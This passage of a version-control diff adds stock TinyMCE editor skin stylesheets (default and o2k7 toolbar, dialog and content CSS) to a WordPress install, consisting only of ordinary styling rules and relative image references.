+.defaultSkin .mceStatusbar a.mceResize {display:block; float:right; background:url(../../img/icons.gif) -800px 0; width:20px; height:20px; cursor:se-resize}
+.defaultSkin .mceStatusbar a:hover {text-decoration:underline}
+.defaultSkin table.mceToolbar {margin-left:3px}
+.defaultSkin span.mceIcon, .defaultSkin img.mceIcon {display:block; width:20px; height:20px}
+.defaultSkin .mceIcon {background:url(../../img/icons.gif) no-repeat 20px 20px}
+.defaultSkin td.mceCenter {text-align:center;}
+.defaultSkin td.mceCenter table {margin:0 auto; text-align:left;}
+.defaultSkin td.mceRight table {margin:0 0 0 auto;}
+
+/* Button */
+.defaultSkin .mceButton {display:block; border:1px solid #F0F0EE; width:20px; height:20px; margin-right:1px}
+.defaultSkin a.mceButtonEnabled:hover {border:1px solid #0A246A; background-color:#B2BBD0}
+.defaultSkin a.mceButtonActive, .defaultSkin a.mceButtonSelected {border:1px solid #0A246A; background-color:#C2CBE0}
+.defaultSkin .mceButtonDisabled .mceIcon {opacity:0.3; -ms-filter:'alpha(opacity=30)'; filter:alpha(opacity=30)}
+.defaultSkin .mceButtonLabeled {width:auto}
+.defaultSkin .mceButtonLabeled span.mceIcon {float:left}
+.defaultSkin span.mceButtonLabel {display:block; font-size:10px; padding:4px 6px 0 22px; font-family:Tahoma,Verdana,Arial,Helvetica}
+.defaultSkin .mceButtonDisabled .mceButtonLabel {color:#888}
+
+/* Separator */
+.defaultSkin .mceSeparator {display:block; background:url(../../img/icons.gif) -180px 0; width:2px; height:20px; margin:2px 2px 0 4px}
+
+/* ListBox */
+.defaultSkin .mceListBox {direction:ltr}
+.defaultSkin .mceListBox, .defaultSkin .mceListBox a {display:block}
+.defaultSkin .mceListBox .mceText {padding-left:4px; width:70px; text-align:left; border:1px solid #CCC; border-right:0; background:#FFF; font-family:Tahoma,Verdana,Arial,Helvetica; font-size:11px; height:20px; line-height:20px; overflow:hidden}
+.defaultSkin .mceListBox .mceOpen {width:9px; height:20px; background:url(../../img/icons.gif) -741px 0; margin-right:2px; border:1px solid #CCC;}
+.defaultSkin table.mceListBoxEnabled:hover .mceText, .defaultSkin .mceListBoxHover .mceText, .defaultSkin .mceListBoxSelected .mceText {border:1px solid #A2ABC0; border-right:0; background:#FFF}
+.defaultSkin table.mceListBoxEnabled:hover .mceOpen, .defaultSkin .mceListBoxHover .mceOpen, .defaultSkin .mceListBoxSelected .mceOpen {background-color:#FFF; border:1px solid #A2ABC0}
+.defaultSkin .mceListBoxDisabled a.mceText {color:gray; background-color:transparent;}
+.defaultSkin .mceListBoxMenu {overflow:auto; overflow-x:hidden}
+.defaultSkin .mceOldBoxModel .mceListBox .mceText {height:22px}
+.defaultSkin .mceOldBoxModel .mceListBox .mceOpen {width:11px; height:22px;}
+.defaultSkin select.mceNativeListBox {font-family:'MS Sans Serif',sans-serif,Verdana,Arial; font-size:7pt; background:#F0F0EE; border:1px solid gray; margin-right:2px;}
+
+/* SplitButton */
+.defaultSkin .mceSplitButton {width:32px; height:20px; direction:ltr}
+.defaultSkin .mceSplitButton a, .defaultSkin .mceSplitButton span {height:20px; display:block}
+.defaultSkin .mceSplitButton a.mceAction {width:20px; border:1px solid #F0F0EE; border-right:0;}
+.defaultSkin .mceSplitButton span.mceAction {width:20px; background:url(../../img/icons.gif) 20px 20px;}
+.defaultSkin .mceSplitButton a.mceOpen {width:9px; background:url(../../img/icons.gif) -741px 0; border:1px solid #F0F0EE;}
+.defaultSkin .mceSplitButton span.mceOpen {display:none}
+.defaultSkin table.mceSplitButtonEnabled:hover a.mceAction, .defaultSkin .mceSplitButtonHover a.mceAction, .defaultSkin .mceSplitButtonSelected a.mceAction {border:1px solid #0A246A; border-right:0; background-color:#B2BBD0}
+.defaultSkin table.mceSplitButtonEnabled:hover a.mceOpen, .defaultSkin .mceSplitButtonHover a.mceOpen, .defaultSkin .mceSplitButtonSelected a.mceOpen {background-color:#B2BBD0; border:1px solid #0A246A;}
+.defaultSkin .mceSplitButtonDisabled .mceAction, .defaultSkin .mceSplitButtonDisabled a.mceOpen {opacity:0.3; -ms-filter:'alpha(opacity=30)'; filter:alpha(opacity=30)}
+.defaultSkin .mceSplitButtonActive a.mceAction {border:1px solid #0A246A; background-color:#C2CBE0}
+.defaultSkin .mceSplitButtonActive a.mceOpen {border-left:0;}
+
+/* ColorSplitButton */
+.defaultSkin div.mceColorSplitMenu table {background:#FFF; border:1px solid gray}
+.defaultSkin .mceColorSplitMenu td {padding:2px}
+.defaultSkin .mceColorSplitMenu a {display:block; width:9px; height:9px; overflow:hidden; border:1px solid #808080}
+.defaultSkin .mceColorSplitMenu td.mceMoreColors {padding:1px 3px 1px 1px}
+.defaultSkin .mceColorSplitMenu a.mceMoreColors {width:100%; height:auto; text-align:center; font-family:Tahoma,Verdana,Arial,Helvetica; font-size:11px; line-height:20px; border:1px solid #FFF}
+.defaultSkin .mceColorSplitMenu a.mceMoreColors:hover {border:1px solid #0A246A; background-color:#B6BDD2}
+.defaultSkin a.mceMoreColors:hover {border:1px solid #0A246A}
+.defaultSkin .mceColorPreview {margin-left:2px; width:16px; height:4px; overflow:hidden; background:#9a9b9a}
+.defaultSkin .mce_forecolor span.mceAction, .defaultSkin .mce_backcolor span.mceAction {overflow:hidden; height:16px}
+
+/* Menu */
+.defaultSkin .mceMenu {position:absolute; left:0; top:0; z-index:1000; border:1px solid #D4D0C8}
+.defaultSkin .mceNoIcons span.mceIcon {width:0;}
+.defaultSkin .mceNoIcons a .mceText {padding-left:10px}
+.defaultSkin .mceMenu table {background:#FFF}
+.defaultSkin .mceMenu a, .defaultSkin .mceMenu span, .defaultSkin .mceMenu {display:block}
+.defaultSkin .mceMenu td {height:20px}
+.defaultSkin .mceMenu a {position:relative;padding:3px 0 4px 0}
+.defaultSkin .mceMenu .mceText {position:relative; display:block; font-family:Tahoma,Verdana,Arial,Helvetica; color:#000; cursor:default; margin:0; padding:0 25px 0 25px; display:block}
+.defaultSkin .mceMenu span.mceText, .defaultSkin .mceMenu .mcePreview {font-size:11px}
+.defaultSkin .mceMenu pre.mceText {font-family:Monospace}
+.defaultSkin .mceMenu .mceIcon {position:absolute; top:0; left:0; width:22px;}
+.defaultSkin .mceMenu .mceMenuItemEnabled a:hover, .defaultSkin .mceMenu .mceMenuItemActive {background-color:#dbecf3}
+.defaultSkin td.mceMenuItemSeparator {background:#DDD; height:1px}
+.defaultSkin .mceMenuItemTitle a {border:0; background:#EEE; border-bottom:1px solid #DDD}
+.defaultSkin .mceMenuItemTitle span.mceText {color:#000; font-weight:bold; padding-left:4px}
+.defaultSkin .mceMenuItemDisabled .mceText {color:#888}
+.defaultSkin .mceMenuItemSelected .mceIcon {background:url(img/menu_check.gif)}
+.defaultSkin .mceNoIcons .mceMenuItemSelected a {background:url(img/menu_arrow.gif) no-repeat -6px center}
+.defaultSkin .mceMenu span.mceMenuLine {display:none}
+.defaultSkin .mceMenuItemSub a {background:url(img/menu_arrow.gif) no-repeat top right;}
+
+/* Progress,Resize */
+.defaultSkin .mceBlocker {position:absolute; left:0; top:0; z-index:1000; opacity:0.5; -ms-filter:'alpha(opacity=50)'; filter:alpha(opacity=50); background:#FFF}
+.defaultSkin .mceProgress {position:absolute; left:0; top:0; z-index:1001; background:url(img/progress.gif) no-repeat; width:32px; height:32px; margin:-16px 0 0 -16px}
+.defaultSkin .mcePlaceHolder {border:1px dotted gray}
+
+/* Formats */
+.defaultSkin .mce_formatPreview a {font-size:10px}
+.defaultSkin .mce_p span.mceText {}
+.defaultSkin .mce_address span.mceText {font-style:italic}
+.defaultSkin .mce_pre span.mceText {font-family:monospace}
+.defaultSkin .mce_h1 span.mceText {font-weight:bolder; font-size: 2em}
+.defaultSkin .mce_h2 span.mceText {font-weight:bolder; font-size: 1.5em}
+.defaultSkin .mce_h3 span.mceText {font-weight:bolder; font-size: 1.17em}
+.defaultSkin .mce_h4 span.mceText {font-weight:bolder; font-size: 1em}
+.defaultSkin .mce_h5 span.mceText {font-weight:bolder; font-size: .83em}
+.defaultSkin .mce_h6 span.mceText {font-weight:bolder; font-size: .75em}
+
+/* Theme */
+.defaultSkin span.mce_bold {background-position:0 0}
+.defaultSkin span.mce_italic {background-position:-60px 0}
+.defaultSkin span.mce_underline {background-position:-140px 0}
+.defaultSkin span.mce_strikethrough {background-position:-120px 0}
+.defaultSkin span.mce_undo {background-position:-160px 0}
+.defaultSkin span.mce_redo {background-position:-100px 0}
+.defaultSkin span.mce_cleanup {background-position:-40px 0}
+.defaultSkin span.mce_bullist {background-position:-20px 0}
+.defaultSkin span.mce_numlist {background-position:-80px 0}
+.defaultSkin span.mce_justifyleft {background-position:-460px 0}
+.defaultSkin span.mce_justifyright {background-position:-480px 0}
+.defaultSkin span.mce_justifycenter {background-position:-420px 0}
+.defaultSkin span.mce_justifyfull {background-position:-440px 0}
+.defaultSkin span.mce_anchor {background-position:-200px 0}
+.defaultSkin span.mce_indent {background-position:-400px 0}
+.defaultSkin span.mce_outdent {background-position:-540px 0}
+.defaultSkin span.mce_link {background-position:-500px 0}
+.defaultSkin span.mce_unlink {background-position:-640px 0}
+.defaultSkin span.mce_sub {background-position:-600px 0}
+.defaultSkin span.mce_sup {background-position:-620px 0}
+.defaultSkin span.mce_removeformat {background-position:-580px 0}
+.defaultSkin span.mce_newdocument {background-position:-520px 0}
+.defaultSkin span.mce_image {background-position:-380px 0}
+.defaultSkin span.mce_help {background-position:-340px 0}
+.defaultSkin span.mce_code {background-position:-260px 0}
+.defaultSkin span.mce_hr {background-position:-360px 0}
+.defaultSkin span.mce_visualaid {background-position:-660px 0}
+.defaultSkin span.mce_charmap {background-position:-240px 0}
+.defaultSkin span.mce_paste {background-position:-560px 0}
+.defaultSkin span.mce_copy {background-position:-700px 0}
+.defaultSkin span.mce_cut {background-position:-680px 0}
+.defaultSkin span.mce_blockquote {background-position:-220px 0}
+.defaultSkin .mce_forecolor span.mceAction {background-position:-720px 0}
+.defaultSkin .mce_backcolor span.mceAction {background-position:-760px 0}
+.defaultSkin span.mce_forecolorpicker {background-position:-720px 0}
+.defaultSkin span.mce_backcolorpicker {background-position:-760px 0}
+
+/* Plugins */
+.defaultSkin span.mce_advhr {background-position:-0px -20px}
+.defaultSkin span.mce_ltr {background-position:-20px -20px}
+.defaultSkin span.mce_rtl {background-position:-40px -20px}
+.defaultSkin span.mce_emotions {background-position:-60px -20px}
+.defaultSkin span.mce_fullpage {background-position:-80px -20px}
+.defaultSkin span.mce_fullscreen {background-position:-100px -20px}
+.defaultSkin span.mce_iespell {background-position:-120px -20px}
+.defaultSkin span.mce_insertdate {background-position:-140px -20px}
+.defaultSkin span.mce_inserttime {background-position:-160px -20px}
+.defaultSkin span.mce_absolute {background-position:-180px -20px}
+.defaultSkin span.mce_backward {background-position:-200px -20px}
+.defaultSkin span.mce_forward {background-position:-220px -20px}
+.defaultSkin span.mce_insert_layer {background-position:-240px -20px}
+.defaultSkin span.mce_insertlayer {background-position:-260px -20px}
+.defaultSkin span.mce_movebackward {background-position:-280px -20px}
+.defaultSkin span.mce_moveforward {background-position:-300px -20px}
+.defaultSkin span.mce_media {background-position:-320px -20px}
+.defaultSkin span.mce_nonbreaking {background-position:-340px -20px}
+.defaultSkin span.mce_pastetext {background-position:-360px -20px}
+.defaultSkin span.mce_pasteword {background-position:-380px -20px}
+.defaultSkin span.mce_selectall {background-position:-400px -20px}
+.defaultSkin span.mce_preview {background-position:-420px -20px}
+.defaultSkin span.mce_print {background-position:-440px -20px}
+.defaultSkin span.mce_cancel {background-position:-460px -20px}
+.defaultSkin span.mce_save {background-position:-480px -20px}
+.defaultSkin span.mce_replace {background-position:-500px -20px}
+.defaultSkin span.mce_search {background-position:-520px -20px}
+.defaultSkin span.mce_styleprops {background-position:-560px -20px}
+.defaultSkin span.mce_table {background-position:-580px -20px}
+.defaultSkin span.mce_cell_props {background-position:-600px -20px}
+.defaultSkin span.mce_delete_table {background-position:-620px -20px}
+.defaultSkin span.mce_delete_col {background-position:-640px -20px}
+.defaultSkin span.mce_delete_row {background-position:-660px -20px}
+.defaultSkin span.mce_col_after {background-position:-680px -20px}
+.defaultSkin span.mce_col_before {background-position:-700px -20px}
+.defaultSkin span.mce_row_after {background-position:-720px -20px}
+.defaultSkin span.mce_row_before {background-position:-740px -20px}
+.defaultSkin span.mce_merge_cells {background-position:-760px -20px}
+.defaultSkin span.mce_table_props {background-position:-980px -20px}
+.defaultSkin span.mce_row_props {background-position:-780px -20px}
+.defaultSkin span.mce_split_cells {background-position:-800px -20px}
+.defaultSkin span.mce_template {background-position:-820px -20px}
+.defaultSkin span.mce_visualchars {background-position:-840px -20px}
+.defaultSkin span.mce_abbr {background-position:-860px -20px}
+.defaultSkin span.mce_acronym {background-position:-880px -20px}
+.defaultSkin span.mce_attribs {background-position:-900px -20px}
+.defaultSkin span.mce_cite {background-position:-920px -20px}
+.defaultSkin span.mce_del {background-position:-940px -20px}
+.defaultSkin span.mce_ins {background-position:-960px -20px}
+.defaultSkin span.mce_pagebreak {background-position:0 -40px}
+.defaultSkin .mce_spellchecker span.mceAction {background-position:-540px -20px}
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/skins/o2k7/content.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/skins/o2k7/content.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/skins/o2k7/content.css	(revision 44)
@@ -0,0 +1,32 @@
+body, td, pre {color:#000; font-family:Verdana, Arial, Helvetica, sans-serif; font-size:10px; margin:8px;}
+body {background:#FFF;}
+body.mceForceColors {background:#FFF; color:#000;}
+h1 {font-size: 2em}
+h2 {font-size: 1.5em}
+h3 {font-size: 1.17em}
+h4 {font-size: 1em}
+h5 {font-size: .83em}
+h6 {font-size: .75em}
+.mceItemTable, .mceItemTable td, .mceItemTable th, .mceItemTable caption, .mceItemVisualAid {border: 1px dashed #BBB;}
+a.mceItemAnchor {width:12px; line-height:6px; overflow:hidden; padding-left:12px; background:url(../default/img/items.gif) no-repeat bottom left;}
+img.mceItemAnchor {width:12px; height:12px; background:url(../default/img/items.gif) no-repeat;}
+img {border:0;}
+table {cursor:default}
+table td, table th {cursor:text}
+ins {border-bottom:1px solid green; text-decoration: none; color:green}
+del {color:red; text-decoration:line-through}
+cite {border-bottom:1px dashed blue}
+acronym {border-bottom:1px dotted #CCC; cursor:help}
+abbr, html\:abbr {border-bottom:1px dashed #CCC; cursor:help}
+
+/* IE */
+* html body {
+scrollbar-3dlight-color:#F0F0EE;
+scrollbar-arrow-color:#676662;
+scrollbar-base-color:#F0F0EE;
+scrollbar-darkshadow-color:#DDD;
+scrollbar-face-color:#E0E0DD;
+scrollbar-highlight-color:#F0F0EE;
+scrollbar-shadow-color:#F0F0EE;
+scrollbar-track-color:#F5F5F5;
+}
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/skins/o2k7/dialog.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/skins/o2k7/dialog.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/skins/o2k7/dialog.css	(revision 44)
@@ -0,0 +1,115 @@
+/* Generic */
+body {
+font-family:Verdana, Arial, Helvetica, sans-serif; font-size:11px;
+scrollbar-3dlight-color:#F0F0EE;
+scrollbar-arrow-color:#676662;
+scrollbar-base-color:#F0F0EE;
+scrollbar-darkshadow-color:#DDDDDD;
+scrollbar-face-color:#E0E0DD;
+scrollbar-highlight-color:#F0F0EE;
+scrollbar-shadow-color:#F0F0EE;
+scrollbar-track-color:#F5F5F5;
+background:#F0F0EE;
+padding:0;
+margin:8px 8px 0 8px;
+}
+
+html {background:#F0F0EE;}
+td {font-family:Verdana, Arial, Helvetica, sans-serif; font-size:10px;}
+textarea {resize:none;outline:none;}
+a:link, a:visited {color:black;}
+a:hover {color:#2B6FB6;}
+.nowrap {white-space: nowrap}
+
+/* Forms */
+fieldset {margin:0; padding:4px; border:1px solid #919B9C; font-family:Verdana, Arial; font-size:10px;}
+legend {color:#2B6FB6; font-weight:bold;}
+label.msg {display:none;}
+label.invalid {color:#EE0000; display:inline;}
+input.invalid {border:1px solid #EE0000;}
+input {background:#FFF; border:1px solid #CCC;}
+input, select, textarea {font-family:Verdana, Arial, Helvetica, sans-serif; font-size:10px;}
+input, select, textarea {border:1px solid #808080;}
+input.radio {border:1px none #000000; background:transparent; vertical-align:middle;}
+input.checkbox {border:1px none #000000; background:transparent; vertical-align:middle;}
+.input_noborder {border:0;}
+
+/* Buttons */
+#insert, #cancel, input.button, .updateButton {
+border:0; margin:0; padding:0;
+font-weight:bold;
+width:94px; height:26px;
+background:url(../default/img/buttons.png) 0 -26px;
+cursor:pointer;
+padding-bottom:2px;
+}
+
+#insert {background:url(../default/img/buttons.png) 0 -52px;}
+#cancel {background:url(../default/img/buttons.png) 0 0;}
+
+/* Browse */
+a.pickcolor, a.browse {text-decoration:none}
+a.browse span {display:block; width:20px; height:18px; background:url(../../img/icons.gif) -860px 0; border:1px solid #FFF; margin-left:1px;}
+.mceOldBoxModel a.browse span {width:22px; height:20px;}
+a.browse:hover span {border:1px solid #0A246A; background-color:#B2BBD0;}
+a.browse span.disabled {border:1px solid white; opacity:0.3; -ms-filter:'alpha(opacity=30)'; filter:alpha(opacity=30)}
+a.browse:hover span.disabled {border:1px solid white; background-color:transparent;}
+a.pickcolor span {display:block; width:20px; height:16px; background:url(../../img/icons.gif) -840px 0; margin-left:2px;}
+.mceOldBoxModel a.pickcolor span {width:21px; height:17px;}
+a.pickcolor:hover span {background-color:#B2BBD0;}
+a.pickcolor:hover span.disabled {}
+
+/* Charmap */
+table.charmap {border:1px solid #AAA; text-align:center}
+td.charmap, #charmap a {width:18px; height:18px; color:#000; border:1px solid #AAA; text-align:center; font-size:12px; vertical-align:middle; line-height: 18px;}
+#charmap a {display:block; color:#000; text-decoration:none; border:0}
+#charmap a:hover {background:#CCC;color:#2B6FB6}
+#charmap #codeN {font-size:10px; font-family:Arial,Helvetica,sans-serif; text-align:center}
+#charmap #codeV {font-size:40px; height:80px; border:1px solid #AAA; text-align:center}
+
+/* Source */
+.wordWrapCode {vertical-align:middle; border:1px none #000000; background:transparent;}
+.mceActionPanel {margin-top:5px;}
+
+/* Tabs classes */
+.tabs {width:100%; height:18px; line-height:normal; background:url(../default/img/tabs.gif) repeat-x 0 -72px;}
+.tabs ul {margin:0; padding:0; list-style:none;}
+.tabs li {float:left; background:url(../default/img/tabs.gif) no-repeat 0 0; margin:0 2px 0 0; padding:0 0 0 10px; line-height:17px; height:18px; display:block;}
+.tabs li.current {background:url(../default/img/tabs.gif) no-repeat 0 -18px; margin-right:2px;}
+.tabs span {float:left; display:block; background:url(../default/img/tabs.gif) no-repeat right -36px; padding:0px 10px 0 0;}
+.tabs .current span {background:url(../default/img/tabs.gif) no-repeat right -54px;}
+.tabs a {text-decoration:none; font-family:Verdana, Arial; font-size:10px;}
+.tabs a:link, .tabs a:visited, .tabs a:hover {color:black;}
+
+/* Panels */
+.panel_wrapper div.panel {display:none;}
+.panel_wrapper div.current {display:block; width:100%; height:300px; overflow:visible;}
+.panel_wrapper {border:1px solid #919B9C; border-top:0px; padding:10px; padding-top:5px; clear:both; background:white;}
+
+/* Columns */
+.column {float:left;}
+.properties {width:100%;}
+.properties .column1 {}
+.properties .column2 {text-align:left;}
+
+/* Titles */
+h1, h2, h3, h4 {color:#2B6FB6; margin:0; padding:0; padding-top:5px;}
+h3 {font-size:14px;}
+.title {font-size:12px; font-weight:bold; color:#2B6FB6;}
+
+/* Dialog specific */
+#link .panel_wrapper, #link div.current {height:125px;}
+#image .panel_wrapper, #image div.current {height:200px;}
+#plugintable thead {font-weight:bold; background:#DDD;}
+#plugintable, #about #plugintable td {border:1px solid #919B9C;}
+#plugintable {width:96%; margin-top:10px;}
+#pluginscontainer {height:290px; overflow:auto;}
+#colorpicker #preview {float:right; width:50px; height:14px;line-height:1px; border:1px solid black; margin-left:5px;}
+#colorpicker #colors {float:left; border:1px solid gray; cursor:crosshair;}
+#colorpicker #light {border:1px solid gray; margin-left:5px; float:left;width:15px; height:150px; cursor:crosshair;}
+#colorpicker #light div {overflow:hidden;}
+#colorpicker #previewblock {float:right; padding-left:10px; height:20px;}
+#colorpicker .panel_wrapper div.current {height:175px;}
+#colorpicker #namedcolors {width:150px;}
+#colorpicker #namedcolors a {display:block; float:left; width:10px; height:10px; margin:1px 1px 0 0; overflow:hidden;}
+#colorpicker #colornamecontainer {margin-top:5px;}
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/skins/o2k7/ui.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/skins/o2k7/ui.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/skins/o2k7/ui.css	(revision 44)
@@ -0,0 +1,215 @@
+/* Reset */
+.o2k7Skin table, .o2k7Skin tbody, .o2k7Skin a, .o2k7Skin img, .o2k7Skin tr, .o2k7Skin div, .o2k7Skin td, .o2k7Skin iframe, .o2k7Skin span, .o2k7Skin *, .o2k7Skin .mceText {border:0; margin:0; padding:0; background:transparent; white-space:nowrap; text-decoration:none; font-weight:normal; cursor:default; color:#000; vertical-align:baseline; width:auto; border-collapse:separate; text-align:left}
+.o2k7Skin a:hover, .o2k7Skin a:link, .o2k7Skin a:visited, .o2k7Skin a:active {text-decoration:none; font-weight:normal; cursor:default; color:#000}
+.o2k7Skin table td {vertical-align:middle}
+
+/* Containers */
+.o2k7Skin table {background:#E5EFFD}
+.o2k7Skin iframe {display:block; background:#FFF}
+.o2k7Skin .mceToolbar {height:26px}
+
+/* External */
+.o2k7Skin .mceExternalToolbar {position:absolute; border:1px solid #ABC6DD; border-bottom:0; display:none}
+.o2k7Skin .mceExternalToolbar td.mceToolbar {padding-right:13px;}
+.o2k7Skin .mceExternalClose {position:absolute; top:3px; right:3px; width:7px; height:7px; background:url(../../img/icons.gif) -820px 0}
+
+/* Layout */
+.o2k7Skin table.mceLayout {border:0; border-left:1px solid #ABC6DD; border-right:1px solid #ABC6DD}
+.o2k7Skin table.mceLayout tr.mceFirst td {border-top:1px solid #ABC6DD}
+.o2k7Skin table.mceLayout tr.mceLast td {border-bottom:1px solid #ABC6DD}
+.o2k7Skin table.mceToolbar, .o2k7Skin tr.mceFirst .mceToolbar tr td, .o2k7Skin tr.mceLast .mceToolbar tr td {border:0; margin:0; padding:0}
+.o2k7Skin .mceIframeContainer {border-top:1px solid #ABC6DD; border-bottom:1px solid #ABC6DD}
+.o2k7Skin .mceStatusbar {display:block; font-family:'MS Sans Serif',sans-serif,Verdana,Arial; font-size:9pt; line-height:16px; overflow:visible; color:#000; height:20px}
+.o2k7Skin .mceStatusbar div {float:left; padding:2px}
+.o2k7Skin .mceStatusbar a.mceResize {display:block; float:right; background:url(../../img/icons.gif) -800px 0; width:20px; height:20px; cursor:se-resize}
+.o2k7Skin .mceStatusbar a:hover {text-decoration:underline}
+.o2k7Skin table.mceToolbar {margin-left:3px}
+.o2k7Skin .mceToolbar .mceToolbarStart span {display:block; background:url(img/button_bg.png) -22px 0; width:1px; height:22px; margin-left:3px;}
+.o2k7Skin .mceToolbar td.mceFirst span {margin:0}
+.o2k7Skin .mceToolbar .mceToolbarEnd span {display:block; background:url(img/button_bg.png) -22px 0; width:1px; height:22px}
+.o2k7Skin .mceToolbar .mceToolbarEndListBox span, .o2k7Skin .mceToolbar .mceToolbarStartListBox span {display:none}
+.o2k7Skin span.mceIcon, .o2k7Skin img.mceIcon {display:block; width:20px; height:20px}
+.o2k7Skin .mceIcon {background:url(../../img/icons.gif) no-repeat 20px 20px}
+.o2k7Skin td.mceCenter {text-align:center;}
+.o2k7Skin td.mceCenter table {margin:0 auto; text-align:left;}
+.o2k7Skin td.mceRight table {margin:0 0 0 auto;}
+
+/* Button */
+.o2k7Skin .mceButton {display:block; background:url(img/button_bg.png); width:22px; height:22px}
+.o2k7Skin a.mceButton span, .o2k7Skin a.mceButton img {margin-left:1px}
+.o2k7Skin .mceOldBoxModel a.mceButton span, .o2k7Skin .mceOldBoxModel a.mceButton img {margin:0 0 0 1px}
+.o2k7Skin a.mceButtonEnabled:hover {background-color:#B2BBD0; background-position:0 -22px}
+.o2k7Skin a.mceButtonActive, .o2k7Skin a.mceButtonSelected {background-position:0 -44px}
+.o2k7Skin .mceButtonDisabled .mceIcon {opacity:0.3; -ms-filter:'alpha(opacity=30)'; filter:alpha(opacity=30)}
+.o2k7Skin .mceButtonLabeled {width:auto}
+.o2k7Skin .mceButtonLabeled span.mceIcon {float:left}
+.o2k7Skin span.mceButtonLabel {display:block; font-size:10px; padding:4px 6px 0 22px; font-family:Tahoma,Verdana,Arial,Helvetica}
+.o2k7Skin .mceButtonDisabled .mceButtonLabel {color:#888}
+
+/* Separator */
+.o2k7Skin .mceSeparator {display:block; background:url(img/button_bg.png) -22px 0; width:5px; height:22px}
+
+/* ListBox */
+.o2k7Skin .mceListBox {margin-left:3px}
+.o2k7Skin .mceListBox, .o2k7Skin .mceListBox a {display:block}
+.o2k7Skin .mceListBox .mceText {padding-left:4px; text-align:left; width:70px; border:1px solid #b3c7e1; border-right:0; background:#eaf2fb; font-family:Tahoma,Verdana,Arial,Helvetica; font-size:11px; height:20px; line-height:20px; overflow:hidden}
+.o2k7Skin .mceListBox .mceOpen {width:14px; height:22px; background:url(img/button_bg.png) -66px 0}
+.o2k7Skin table.mceListBoxEnabled:hover .mceText, .o2k7Skin .mceListBoxHover .mceText, .o2k7Skin .mceListBoxSelected .mceText {background:#FFF}
+.o2k7Skin table.mceListBoxEnabled:hover .mceOpen, .o2k7Skin .mceListBoxHover .mceOpen, .o2k7Skin .mceListBoxSelected .mceOpen {background-position:-66px -22px}
+.o2k7Skin .mceListBoxDisabled .mceText {color:gray}
+.o2k7Skin .mceListBoxMenu {overflow:auto; overflow-x:hidden}
+.o2k7Skin .mceOldBoxModel .mceListBox .mceText {height:22px}
+.o2k7Skin select.mceListBox {font-family:Tahoma,Verdana,Arial,Helvetica; font-size:12px; border:1px solid #b3c7e1; background:#FFF;}
+
+/* SplitButton */
+.o2k7Skin .mceSplitButton, .o2k7Skin .mceSplitButton a, .o2k7Skin .mceSplitButton span {display:block; height:22px}
+.o2k7Skin .mceSplitButton {background:url(img/button_bg.png)}
+.o2k7Skin .mceSplitButton a.mceAction {width:22px}
+.o2k7Skin .mceSplitButton span.mceAction {width:22px; background:url(../../img/icons.gif) 20px 20px}
+.o2k7Skin .mceSplitButton a.mceOpen {width:10px; background:url(img/button_bg.png) -44px 0}
+.o2k7Skin .mceSplitButton span.mceOpen {display:none}
+.o2k7Skin table.mceSplitButtonEnabled:hover a.mceAction, .o2k7Skin .mceSplitButtonHover a.mceAction, .o2k7Skin .mceSplitButtonSelected {background:url(img/button_bg.png) 0 -22px}
+.o2k7Skin table.mceSplitButtonEnabled:hover a.mceOpen, .o2k7Skin .mceSplitButtonHover a.mceOpen, .o2k7Skin .mceSplitButtonSelected a.mceOpen {background-position:-44px -44px}
+.o2k7Skin .mceSplitButtonDisabled .mceAction {opacity:0.3; -ms-filter:'alpha(opacity=30)'; filter:alpha(opacity=30)}
+.o2k7Skin .mceSplitButtonActive {background-position:0 -44px}
+
+/* ColorSplitButton */
+.o2k7Skin div.mceColorSplitMenu table {background:#FFF; border:1px solid gray}
+.o2k7Skin .mceColorSplitMenu td {padding:2px}
+.o2k7Skin .mceColorSplitMenu a {display:block; width:9px; height:9px; overflow:hidden; border:1px solid #808080}
+.o2k7Skin .mceColorSplitMenu td.mceMoreColors {padding:1px 3px 1px 1px}
+.o2k7Skin .mceColorSplitMenu a.mceMoreColors {width:100%; height:auto; text-align:center; font-family:Tahoma,Verdana,Arial,Helvetica; font-size:11px; line-height:20px; border:1px solid #FFF}
+.o2k7Skin .mceColorSplitMenu a.mceMoreColors:hover {border:1px solid #0A246A; background-color:#B6BDD2}
+.o2k7Skin a.mceMoreColors:hover {border:1px solid #0A246A}
+.o2k7Skin .mceColorPreview {margin-left:2px; width:16px; height:4px; overflow:hidden; background:#9a9b9a;overflow:hidden}
+.o2k7Skin .mce_forecolor span.mceAction, .o2k7Skin .mce_backcolor span.mceAction {height:15px;overflow:hidden}
+
+/* Menu */
+.o2k7Skin .mceMenu {position:absolute; left:0; top:0; z-index:1000; border:1px solid #ABC6DD}
+.o2k7Skin .mceNoIcons span.mceIcon {width:0;}
+.o2k7Skin .mceNoIcons a .mceText {padding-left:10px}
+.o2k7Skin .mceMenu table {background:#FFF}
+.o2k7Skin .mceMenu a, .o2k7Skin .mceMenu span, .o2k7Skin .mceMenu {display:block}
+.o2k7Skin .mceMenu td {height:20px}
+.o2k7Skin .mceMenu a {position:relative;padding:3px 0 4px 0}
+.o2k7Skin .mceMenu .mceText {position:relative; display:block; font-family:Tahoma,Verdana,Arial,Helvetica; color:#000; cursor:default; margin:0; padding:0 25px 0 25px; display:block}
+.o2k7Skin .mceMenu span.mceText, .o2k7Skin .mceMenu .mcePreview {font-size:11px}
+.o2k7Skin .mceMenu pre.mceText {font-family:Monospace}
+.o2k7Skin .mceMenu .mceIcon {position:absolute; top:0; left:0; width:22px;}
+.o2k7Skin .mceMenu .mceMenuItemEnabled a:hover, .o2k7Skin .mceMenu .mceMenuItemActive {background-color:#dbecf3}
+.o2k7Skin td.mceMenuItemSeparator {background:#DDD; height:1px}
+.o2k7Skin .mceMenuItemTitle a {border:0; background:#E5EFFD; border-bottom:1px solid #ABC6DD}
+.o2k7Skin .mceMenuItemTitle span.mceText {color:#000; font-weight:bold; padding-left:4px}
